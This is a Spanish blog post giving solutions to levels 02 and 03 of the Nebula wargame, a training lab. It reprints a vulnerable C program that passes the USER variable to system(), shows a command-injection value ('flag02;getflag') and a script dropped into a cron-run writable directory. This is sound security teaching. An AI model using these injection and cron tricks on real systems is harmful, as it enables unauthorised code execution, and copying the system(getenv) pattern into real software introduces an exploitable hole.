Aprendiendo seguridad con Wargames 2

  • Actualizado: 10 diciembre 2021
  • Publicado por primera vez: 11 diciembre 2014

En el post anterior vimos las soluciones al nivel 0 y 1 del Wargame Nebula. Aprendimos que era muy importante desconfiar de las variables de entorno y a utilizar rutas absolutas en las llamadas a ejecutables. Vamos a ver unos cuantos niveles más de este Wargame:

Nebula Level02

 Al igual que en el nivel 01, el siguiente código tiene una vulnerabilidad que nos permitirá ejecutar código arbitrario. Vamos a ver el código y a añadir unos comentarios:

#There is a vulnerability in the below program that allows arbitrary
#programs to be executed, can you find it?
#To do this level, log in as the level02 account with the password
#level02. Files for this level can be found in /home/flag02.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL; #Definimos un buffer de carácteres

# Primero se obtiene el valor de la variable de entorno USER,
# Luego se guarda en buffer la cadena "/bin/echo flag02 is cool"
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));

# Ahora se muestra lo que se va a ejecutar
printf("about to call system(\"%s\")\n", buffer);

# Por último se ejecuta el contenido de buffer
system(buffer);

 En esta ocasión, se ha llamado a echo con su ruta absoluta, por lo que no podremos utilizar el mismo truco que en el nivel anterior. Desde el punto de vista de un atacante, necesitamos averiguar cual es nuestro punto de entrada.

En este caso, lo único que podemos modificar es el valor de la variable USER. ¿Como podemos aprovecharnos de esto? Como he puesto en el código, la orden que se va a ejecutar es /bin/echo $USER is cool. Nadie nos impide utilizar el carácter de separación de comandos ; para ejecutar dos órdenes seguidas. Por ejemplo, si hacemos:

level02@nebula:~$ USER="david;echo lladro"
level02@nebula:~$ /home/flag02/flag02
david lladro is cool

 Lo que se está ejecutando es /bin/echo david;echo is cool. Con esto en mente, la solución al reto la obtendríamos con:

level02@nebula:~$ USER="flag02;getflag"
level02@nebula:~$ /home/flag02/flag02

 

 

Nebula Level03

En este nivel no tenemos código, solo una escueta explicación:

#Check the home directory of flag03 and take note of the files there.
#There is a crontab that is called every couple of minutes.
#To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

 Lo que nos dice es que en /home/flag03 hay ciertos ficheros y directorios. Cada X minutos, se ejecuta  un crontab. Con esta explicación, todo parece indicar que podremos ejecutar código a ciegas. Es decir, podremos colocar un script en un directorio y esperar a que se ejecute con los permisos adecuados. Por ejemplo, podríamos hacer:

level03@nebula:~$ vim getflag.sh

#!/bin/bash
getflag

level03@nebula:~$ chmod +x getflag.sh
level03@nebula:~$ cp getflag.sh /home/flag03/writable.d/

 El problema de este código es que no sabemos si ha funcionado, ya que getflag sólo muestra por pantalla una frase. Para solucionar esto, basta con redirigir la salida a un fichero temporal:

level03@nebula:~$ vim getflag.sh

#!/bin/bash
getflag >> /tmp/flag3

level03@nebula:~$ chmod +x getflag.sh
level03@nebula:~$ cp getflag.sh /home/flag03/writable.d/

esperamos unos minutos

level03@nebula:~$ cat /tmp/flag3
You have successfully executed getflag on a target account

Con esto, hemos solucionado este nivel. Espero que os haya gustado.